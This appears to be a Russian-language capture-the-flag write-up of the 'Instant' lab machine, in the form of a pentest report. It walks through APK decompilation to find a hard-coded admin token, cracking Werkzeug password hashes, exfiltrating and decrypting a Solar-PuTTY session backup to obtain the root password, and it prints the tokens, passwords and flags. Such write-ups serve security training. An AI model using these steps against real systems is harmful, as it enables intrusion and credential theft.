Instant
Область тестирования и использованные службы.
| IP/домен | Порт | Сервис | Сервис целевого сервера |
|---|---|---|---|
| localhost | 5901 | WinKexServer | - |
| localhost | - | Nmap Port Scanner | - |
| localhost | - | GoBuster Directory Fuzzing | - |
| localhost | - | Obsidian Notes | - |
| localhost | 8000 | Python HTTP Simple Server | - |
| 10.10.11.37 | 80 | Web Server | + |
| 10.10.11.37 | 22 | SSH | + |
| 10.10.11.37 | 8888 | Web Server 2 | + |
| 10.10.11.37 | 8000 | Python HTTP Simple Server | + |
Использованные файлы:
- linpeas.sh - Privilege Escalation Awesome Scripts SUITE new generation.
- instant.apk - файл, который необходимо проанализировать для прохождения комнаты.
- Werkzeug-Cracker.py - скрипт для брутфорса сгенерированных werkzeug'ом паролей.
- sessions-backup.dat - файл, который необходимо проанализировать для прохождения комнаты.
- SolarPuttyDecrypt.exe - утилита для анализа бекапов Solar PuTTY.
- user.txt - флаг.
- root.txt - флаг.
Порядок действий
1) Запуск openvpn для доступа; kex для того, чтобы сделать linux удобнее
kex --win && sudo openvpn lab_Kolya080808.ovpn2) Сканирование портов с помощью nmap.
Результаты:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
3) Запуск gobuster для поиска директорий.
- Результаты:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://instant.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/kolya080808/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 308] [--> http://instant.htb/img/]
/downloads (Status: 301) [Size: 314] [--> http://instant.htb/downloads/]
/css (Status: 301) [Size: 308] [--> http://instant.htb/css/]
/js (Status: 301) [Size: 307] [--> http://instant.htb/js/]
/javascript (Status: 301) [Size: 315] [--> http://instant.htb/javascript/]
Progress: 6713 / 220561 (3.04%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 6713 / 220561 (3.04%)
===============================================================
Finished
===============================================================
4) К сожалению при заходе на страницу ничего не выдавало, так что пришлось искать на самом веб-сервере. Самое интересное на скрине.
Результат

5) Я попробовал просмотреть файл с помощью strings.
Попытка:

Вывод: Надо использовать что-то другое для анализа apk, например apktool.
6) Проанализировав страницу на HackTricks с анализом apk файлов, я нашел кое-что интересное.
Анализ:

- Результат:
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/res/xml]
└─$ cat network_security_config.xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<domain-config cleartextTrafficPermitted="true">
<domain includeSubdomains="true">mywalletv1.instant.htb</domain>
<domain includeSubdomains="true">swagger-ui.instant.htb</domain>
</domain-config>
</network-security-config>
7) Посмотрим на предоставленные нам домены, предварительно добавив их в /etc/hosts.
- /etc/hosts:

Результат:
- mywalletv1.instant.htb:

- swagger-ui.instant.htb:
8) Попытаемся добыть какие-то данные, которые нам предоставляет этот домен.
- mywalletv1.instant.htb:
Попытка:

Вывод: Думаю, что нужны еще какие-то данные из apk-файла.
9) Попробуем добыть данные админа из apk файла.
Результат:
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant]
└─$ tree smali | grep Admin
│ ├── AdminActivities$1.smali
│ ├── AdminActivities.smali
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant]
└─$ cd smali
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali]
└─$ ls
android androidx com kotlin kotlinx okhttp3 okio org pl
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali]
└─$ cd com
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com]
└─$ ls
google instantlabs
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com]
└─$ cd instantlabs/
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs]
└─$ ls
instant
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs]
└─$ cd instant
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ ls
'AdminActivities$1.smali' 'LoginActivity$3.smali' MainActivity.smali 'R$color.smali' 'R$style.smali' 'RegisterActivity$3$3.smali' 'TransactionActivity$1.smali'
AdminActivities.smali 'LoginActivity$4$1.smali' 'ProfileActivity$1$1.smali' 'R$drawable.smali' 'R$xml.smali' 'RegisterActivity$3.smali' 'TransactionActivity$2$1.smali'
'ForgotPasswordActivity$1.smali' 'LoginActivity$4$2.smali' 'ProfileActivity$1$2.smali' 'R$id.smali' 'RegisterActivity$1.smali' RegisterActivity.smali 'TransactionActivity$2$2$1.smali'
ForgotPasswordActivity.smali 'LoginActivity$4$3.smali' 'ProfileActivity$1.smali' 'R$layout.smali' 'RegisterActivity$2.smali' R.smali 'TransactionActivity$2$2.smali'
'LoginActivity$1.smali' 'LoginActivity$4.smali' 'ProfileActivity$2.smali' 'R$mipmap.smali' 'RegisterActivity$3$1.smali' 'SplashActivity$1.smali' 'TransactionActivity$2.smali'
'LoginActivity$2.smali' LoginActivity.smali ProfileActivity.smali 'R$string.smali' 'RegisterActivity$3$2.smali' SplashActivity.smali TransactionActivity.smali
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cd AdminActivities.smali
bash: cd: AdminActivities.smali: Not a directory
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cat AdminActivities.smali
.class public Lcom/instantlabs/instant/AdminActivities;
.super Ljava/lang/Object;
.source "AdminActivities.java"
# direct methods
.method public constructor <init>()V
.locals 0
.line 19
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
.method private TestAdminAuthorization()Ljava/lang/String;
.locals 4
.line 22
new-instance v0, Lokhttp3/OkHttpClient;
invoke-direct {v0}, Lokhttp3/OkHttpClient;-><init>()V
.line 23
new-instance v1, Lokhttp3/Request$Builder;
invoke-direct {v1}, Lokhttp3/Request$Builder;-><init>()V
const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"
.line 24
invoke-virtual {v1, v2}, Lokhttp3/Request$Builder;->url(Ljava/lang/String;)Lokhttp3/Request$Builder;
move-result-object v1
const-string v2, "Authorization"
const-string v3,
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" //это то что мы искали - куки, они дадут нам силу админа!
.line 25
invoke-virtual {v1, v2, v3}, Lokhttp3/Request$Builder;->addHeader(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;
move-result-object v1
.line 26
invoke-virtual {v1}, Lokhttp3/Request$Builder;->build()Lokhttp3/Request;
move-result-object v1
.line 27
invoke-virtual {v0, v1}, Lokhttp3/OkHttpClient;->newCall(Lokhttp3/Request;)Lokhttp3/Call;
move-result-object v0
new-instance v1, Lcom/instantlabs/instant/AdminActivities$1;
invoke-direct {v1, p0}, Lcom/instantlabs/instant/AdminActivities$1;-><init>(Lcom/instantlabs/instant/AdminActivities;)V
invoke-interface {v0, v1}, Lokhttp3/Call;->enqueue(Lokhttp3/Callback;)V
const-string v0, "Done"
return-object v0
.end method
10) Я чувствую, что здесь есть file read.
- Команды:
Круто! Мы нашли ssh ключ!
11) Шаманим над ним в CyberChef и входим.
Результат

12) Читаем user.txt.
Флаг:
shirohige@instant:~$ cat user.txt
deafb16317a29cf58c0f7d31a66a12a7
13) Пытаемся найти способы повышения привеллегий с помощью linpeas.
Результат:
Я думаю, что надо поискать вручную14) Я попробовал поискать в разных директориях в домашней, и нашел кое что интересное.
Результат:

15) Проанализируем, что это такое и что у нас есть в этой базе данных:
Команды и результат:

16) Помня директорию pyenv, предположим, что наша база данных и хеши связаны с flask. Тогда попробуем добыть пароли для них с помощью Werkzeug Cracker:
Команды
┌──(kolya080808㉿NIKOLAPC-X2)-[~]
└─$ git clone https://github.com/AnataarXVI/Werkzeug-Cracker.git
Cloning into 'Werkzeug-Cracker'...
remote: Enumerating objects: 93, done.
remote: Counting objects: 100% (93/93), done.
remote: Compressing objects: 100% (64/64), done.
remote: Total 93 (delta 40), reused 62 (delta 19), pack-reused 0 (from 0)
Receiving objects: 100% (93/93), 55.35 KiB | 3.07 MiB/s, done.
Resolving deltas: 100% (40/40), done.
┌──(kolya080808㉿NIKOLAPC-X2)-[~]
└─$ cd Werkzeug-Cracker/
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Werkzeug-Cracker]
└─$ nano hashes.txt
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Werkzeug-Cracker]
└─$ pip3 install -r requirements.txt
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: MarkupSafe==2.1.2 in /home/kolya080808/.local/lib/python3.11/site-packages (from -r requirements.txt (line 1)) (2.1.2)
Requirement already satisfied: progress==1.6 in /home/kolya080808/.local/lib/python3.11/site-packages (from -r requirements.txt (line 2)) (1.6)
Requirement already satisfied: Werkzeug==3.0.3 in /home/kolya080808/.local/lib/python3.11/site-packages (from -r requirements.txt (line 3)) (3.0.3)
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Werkzeug-Cracker]
└─$ python3 werkzeug_cracker.py
usage: werkzeug_cracker.py [-h] [-p PASSWORD] [-w WORDLIST] [-t THREADS]
Werkzeug hash cracker
options:
-h, --help show this help message and exit
-p PASSWORD, --password PASSWORD
load hash file
-w WORDLIST, --wordlist WORDLIST
load wordlist file
-t THREADS, --threads THREADS
number of threads, default=16
Example:
werkzeug_cracker.py -p [hash] -w [wordlist] -t [threads]
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Werkzeug-Cracker]
└─$ python3 werkzeug_cracker.py -p hashes.txt -w /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
Cracking pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed |█████████████████▌ | 5464/9999
Password found: estrella
Cracking pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978 |████████████████████████████████| 9999/9999
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Werkzeug-Cracker]
└─$
17) Пароль для нашего пользователя и root не подходит:
- Результат
shirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ sudo -l
[sudo] password for shirohige:
Sorry, try again.
[sudo] password for shirohige:
Sorry, try again.
[sudo] password for shirohige:
sudo: 3 incorrect password attempts
shirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ sudo su
[sudo] password for shirohige:
Sorry, try again.
[sudo] password for shirohige:
Sorry, try again.
[sudo] password for shirohige:
sudo: 3 incorrect password attempts
18) Попробуем посмотреть все возможные уязвимости, найденные linpeas:
- Что нам нужно посмотреть:
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/shirohige
/opt/backups
/opt/backups/Solar-PuTTY
/opt/backups/Solar-PuTTY/sessions-backup.dat #!вот это!
19) Скачиваем файл:
- Результат:
shirohige@instant:~$ cd /opt/backups/Solar-PuTTY/
shirohige@instant:/opt/backups/Solar-PuTTY$ ls
sessions-backup.dat
shirohige@instant:/opt/backups/Solar-PuTTY$ ip a s
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:94:e9:33 brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.10.11.37/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:fe94:e933/64 scope link
valid_lft forever preferred_lft forever
shirohige@instant:/opt/backups/Solar-PuTTY$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.16.39 - - [10/Nov/2024 20:24:31] "GET /sessions-backup.dat HTTP/1.1" 200 -
┌──(kolya080808㉿NIKOLAPC-X2)-[~]
└─$ wget http://10.10.11.37:8000/sessions-backup.dat
--2024-11-10 23:24:32-- http://10.10.11.37:8000/sessions-backup.dat
Connecting to 10.10.11.37:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1100 (1.1K) [application/octet-stream]
Saving to: ‘sessions-backup.dat’
sessions-backup.dat 100%[=====================================================================================================================>] 1.07K --.-KB/s in 0.1s
2024-11-10 23:24:32 (8.22 KB/s) - ‘sessions-backup.dat’ saved [1100/1100]
┌──(kolya080808㉿NIKOLAPC-X2)-[~]
└─$ mv sessions-backup.dat /mnt/c/users/kolya/Downloads/
mv: preserving times for '/mnt/c/users/kolya/Downloads/sessions-backup.dat': Operation not permitted
mv: preserving permissions for ‘/mnt/c/users/kolya/Downloads/sessions-backup.dat’: Operation not permitted
┌──(kolya080808㉿NIKOLAPC-X2)-[~]
└─$ ls /mnt/c/users/kolya/Downloads/
2024-11-10_19-42-51.png desktop.ini Rame.png StreamerBackground-Dark.png
2024-11-10_19-43-38.png discord_backup_codes.txt sessions-backup.dat UTC--2021-12-13T07-50-47.625Z--30178e80b07a17f3596d8316729a548e10df384b.json
AscomPlatform662.4195.exe NINASetupBundle_3.1.1.9001 SolarPuttyDecrypt_v1 'WhatsApp Image 2021-08-09 at 10.17.46.jpeg'
'Celestron Telescope and Focuser Setup (6.1.7350).exe' OBS-Studio-30.2.3-Windows-Installer.exe SolarPuttyDecrypt_v1.zip 'Снимок экрана (182).png'
20) Я нашел утилиту для реверса Solar-PuTTY сессий по паролю. Используем ее для попытки получения пароля для root.
- Команда:
C:\Users\Kolya\Downloads\SolarPuttyDecrypt_v1>SolarPuttyDecrypt.exe
SolarPuttyDecrypt now will try to dump local sessions' file, otherwise enter SolarPutty's sessions file path and password.
Usage: SolarPuttyDecrypt.exe C:\session.dat pwd123 (use "" for empty password)
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------
Необработанное исключение: System.IO.DirectoryNotFoundException: Не удалось найти часть пути "C:\Users\Kolya\AppData\Roaming\SolarWinds\FreeTools\Solar-PuTTY\data.dat".
в System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
в System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost)
в System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options, String msgPath, Boolean bFromProxy)
в System.IO.FileStream..ctor(String path, FileMode mode)
в SolarPuttyDecrypt.Program.DoImport(String dialogFileName, String password, String CurrDir) в C:\Users\VoidSec\Documents\GitHub\SolarPuttyDecrypt\SolarPuttyDecrypt\Program.cs:строка 47
в SolarPuttyDecrypt.Program.Main(String[] args) в C:\Users\VoidSec\Documents\GitHub\SolarPuttyDecrypt\SolarPuttyDecrypt\Program.cs:строка 31
C:\Users\Kolya\Downloads\SolarPuttyDecrypt_v1>SolarPuttyDecrypt.exe ..\sessions-backup.dat estrella
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------
{
"Sessions": [
{
"Id": "066894ee-635c-4578-86d0-d36d4838115b",
"Ip": "10.10.11.37",
"Port": 22,
"ConnectionType": 1,
"SessionName": "Instant",
"Authentication": 0,
"CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
"AuthenticateScript": "00000000-0000-0000-0000-000000000000",
"LastTimeOpen": "0001-01-01T00:00:00",
"OpenCounter": 1,
"SerialLine": null,
"Speed": 0,
"Color": "#FF176998",
"TelnetConnectionWaitSeconds": 1,
"LoggingEnabled": false,
"RemoteDirectory": ""
}
],
"Credentials": [
{
"Id": "452ed919-530e-419b-b721-da76cbe8ed04",
"CredentialsName": "instant-root",
"Username": "root",
"Password": "12**24nzC!r0c%q12", // !Сюда нам надо!
"PrivateKeyPath": "",
"Passphrase": "",
"PrivateKeyContent": null
}
],
"AuthScript": [],
"Groups": [],
"Tunnels": [],
"LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}
-----------------------------------------------------
[+] DONE Decrypted file is saved in: C:\Users\Kolya\Desktop\SolarPutty_sessions_decrypted.txt
21)Пробуем:
- Результат:
shirohige@instant:/opt/backups/Solar-PuTTY$ su root
Password:
root@instant:/opt/backups/Solar-PuTTY# id
uid=0(root) gid=0(root) groups=0(root)
22) Читаем root флаг:
- Результат:
root@instant:~# cd ~
root@instant:~# cat root.txt
d28cd25ccb744f06152609d4d2e8b64d
root@instant:~#
Найденные уязвимости
Information Disclosure
PoC:
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/res/xml]
└─$ cat network_security_config.xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<domain-config cleartextTrafficPermitted="true">
<domain includeSubdomains="true">mywalletv1.instant.htb</domain>
<domain includeSubdomains="true">swagger-ui.instant.htb</domain>
</domain-config>
</network-security-config>
(пункт 6)
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ ls
'AdminActivities$1.smali' 'LoginActivity$3.smali' MainActivity.smali 'R$color.smali' 'R$style.smali' 'RegisterActivity$3$3.smali' 'TransactionActivity$1.smali'
AdminActivities.smali 'LoginActivity$4$1.smali' 'ProfileActivity$1$1.smali' 'R$drawable.smali' 'R$xml.smali' 'RegisterActivity$3.smali' 'TransactionActivity$2$1.smali'
'ForgotPasswordActivity$1.smali' 'LoginActivity$4$2.smali' 'ProfileActivity$1$2.smali' 'R$id.smali' 'RegisterActivity$1.smali' RegisterActivity.smali 'TransactionActivity$2$2$1.smali'
ForgotPasswordActivity.smali 'LoginActivity$4$3.smali' 'ProfileActivity$1.smali' 'R$layout.smali' 'RegisterActivity$2.smali' R.smali 'TransactionActivity$2$2.smali'
'LoginActivity$1.smali' 'LoginActivity$4.smali' 'ProfileActivity$2.smali' 'R$mipmap.smali' 'RegisterActivity$3$1.smali' 'SplashActivity$1.smali' 'TransactionActivity$2.smali'
'LoginActivity$2.smali' LoginActivity.smali ProfileActivity.smali 'R$string.smali' 'RegisterActivity$3$2.smali' SplashActivity.smali TransactionActivity.smali
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cd AdminActivities.smali
bash: cd: AdminActivities.smali: Not a directory
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cat AdminActivities.smali
.class public Lcom/instantlabs/instant/AdminActivities;
.super Ljava/lang/Object;
.source "AdminActivities.java"
# direct methods
.method public constructor <init>()V
.locals 0
.line 19
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
.method private TestAdminAuthorization()Ljava/lang/String;
.locals 4
.line 22
new-instance v0, Lokhttp3/OkHttpClient;
invoke-direct {v0}, Lokhttp3/OkHttpClient;-><init>()V
.line 23
new-instance v1, Lokhttp3/Request$Builder;
invoke-direct {v1}, Lokhttp3/Request$Builder;-><init>()V
const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"
.line 24
invoke-virtual {v1, v2}, Lokhttp3/Request$Builder;->url(Ljava/lang/String;)Lokhttp3/Request$Builder;
move-result-object v1
const-string v2, "Authorization"
const-string v3,
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
.line 25
invoke-virtual {v1, v2, v3}, Lokhttp3/Request$Builder;->addHeader(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;
move-result-object v1
.line 26
invoke-virtual {v1}, Lokhttp3/Request$Builder;->build()Lokhttp3/Request;
move-result-object v1
.line 27
invoke-virtual {v0, v1}, Lokhttp3/OkHttpClient;->newCall(Lokhttp3/Request;)Lokhttp3/Call;
move-result-object v0
new-instance v1, Lcom/instantlabs/instant/AdminActivities$1;
invoke-direct {v1, p0}, Lcom/instantlabs/instant/AdminActivities$1;-><init>(Lcom/instantlabs/instant/AdminActivities;)V
invoke-interface {v0, v1}, Lokhttp3/Call;->enqueue(Lokhttp3/Callback;)V
const-string v0, "Done"
return-object v0
.end method
(пункт 9)
CVSSv3 Score: 10.0 (Critical)
Описание:
Information Disclosure в данном случае связана с данными в apk файле. Разработчик предоставил слишком много информации во время разработки, из-за чего появилась уязвимость.
Воспроизведение уязвимости:
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant]
└─$ tree smali | grep Admin
│ ├── AdminActivities$1.smali
│ ├── AdminActivities.smali
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant]
└─$ cd smali
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali]
└─$ ls
android androidx com kotlin kotlinx okhttp3 okio org pl
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali]
└─$ cd com
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com]
└─$ ls
google instantlabs
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com]
└─$ cd instantlabs/
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs]
└─$ ls
instant
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs]
└─$ cd instant
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ ls
'AdminActivities$1.smali' 'LoginActivity$3.smali' MainActivity.smali 'R$color.smali' 'R$style.smali' 'RegisterActivity$3$3.smali' 'TransactionActivity$1.smali'
AdminActivities.smali 'LoginActivity$4$1.smali' 'ProfileActivity$1$1.smali' 'R$drawable.smali' 'R$xml.smali' 'RegisterActivity$3.smali' 'TransactionActivity$2$1.smali'
'ForgotPasswordActivity$1.smali' 'LoginActivity$4$2.smali' 'ProfileActivity$1$2.smali' 'R$id.smali' 'RegisterActivity$1.smali' RegisterActivity.smali 'TransactionActivity$2$2$1.smali'
ForgotPasswordActivity.smali 'LoginActivity$4$3.smali' 'ProfileActivity$1.smali' 'R$layout.smali' 'RegisterActivity$2.smali' R.smali 'TransactionActivity$2$2.smali'
'LoginActivity$1.smali' 'LoginActivity$4.smali' 'ProfileActivity$2.smali' 'R$mipmap.smali' 'RegisterActivity$3$1.smali' 'SplashActivity$1.smali' 'TransactionActivity$2.smali'
'LoginActivity$2.smali' LoginActivity.smali ProfileActivity.smali 'R$string.smali' 'RegisterActivity$3$2.smali' SplashActivity.smali TransactionActivity.smali
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cd AdminActivities.smali
bash: cd: AdminActivities.smali: Not a directory
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cat AdminActivities.smali
(пункт 9)
(пункт 6)
Рекомендации по устранению:
- Проверьте определенные файлы на наличие конфиденциальных данных
- Выпустите обновление с блокировкой попытки реверса
File Read
PoC:

CVSSv3 Score: 10.0 (Critical)
Описание:
На сабдомене swagger-ui нету никакой защиты от file read.
Воспроизведение уязвимости:
Соответствует PoC.
Рекомендации по устранению:
- Проверьте гайд OWASP либо любой другой для сервера Flask.
Information Disclosure
PoC:
shirohige@instant:/opt/backups/Solar-PuTTY$ su root
Password:
root@instant:/opt/backups/Solar-PuTTY# id
uid=0(root) gid=0(root) groups=0(root)
(пункт 21)
CVSSv3 Score: 10.0 (Critical)
Описание:
Information Disclosure в данном случае связана с необновленной, уязвимой версией Solar-PuTTY, а так же доступом к файлу не тех групп и пользователей, которым это необходимо.
Воспроизведение уязвимости:
C:\Users\Kolya\Downloads\SolarPuttyDecrypt_v1>SolarPuttyDecrypt.exe
SolarPuttyDecrypt now will try to dump local sessions' file, otherwise enter SolarPutty's sessions file path and password.
Usage: SolarPuttyDecrypt.exe C:\session.dat pwd123 (use "" for empty password)
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------
Необработанное исключение: System.IO.DirectoryNotFoundException: Не удалось найти часть пути "C:\Users\Kolya\AppData\Roaming\SolarWinds\FreeTools\Solar-PuTTY\data.dat".
в System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
в System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost)
в System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options, String msgPath, Boolean bFromProxy)
в System.IO.FileStream..ctor(String path, FileMode mode)
в SolarPuttyDecrypt.Program.DoImport(String dialogFileName, String password, String CurrDir) в C:\Users\VoidSec\Documents\GitHub\SolarPuttyDecrypt\SolarPuttyDecrypt\Program.cs:строка 47
в SolarPuttyDecrypt.Program.Main(String[] args) в C:\Users\VoidSec\Documents\GitHub\SolarPuttyDecrypt\SolarPuttyDecrypt\Program.cs:строка 31
C:\Users\Kolya\Downloads\SolarPuttyDecrypt_v1>SolarPuttyDecrypt.exe ..\sessions-backup.dat estrella
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------
{
"Sessions": [
{
"Id": "066894ee-635c-4578-86d0-d36d4838115b",
"Ip": "10.10.11.37",
"Port": 22,
"ConnectionType": 1,
"SessionName": "Instant",
"Authentication": 0,
"CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
"AuthenticateScript": "00000000-0000-0000-0000-000000000000",
"LastTimeOpen": "0001-01-01T00:00:00",
"OpenCounter": 1,
"SerialLine": null,
"Speed": 0,
"Color": "#FF176998",
"TelnetConnectionWaitSeconds": 1,
"LoggingEnabled": false,
"RemoteDirectory": ""
}
],
"Credentials": [
{
"Id": "452ed919-530e-419b-b721-da76cbe8ed04",
"CredentialsName": "instant-root",
"Username": "root",
"Password": "12**24nzC!r0c%q12", // !Сюда нам надо!
"PrivateKeyPath": "",
"Passphrase": "",
"PrivateKeyContent": null
}
],
"AuthScript": [],
"Groups": [],
"Tunnels": [],
"LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}
-----------------------------------------------------
[+] DONE Decrypted file is saved in: C:\Users\Kolya\Desktop\SolarPutty_sessions_decrypted.txt
(пункт 20)
Рекомендации по устранению:
- Проверьте определенные файлы на наличие конфиденциальных данных
- Скачайте последнее обновление Solar PuTTY с блокировкой реверса
Не храните данные в папках с правами для всех пользователей.
Видео выполнения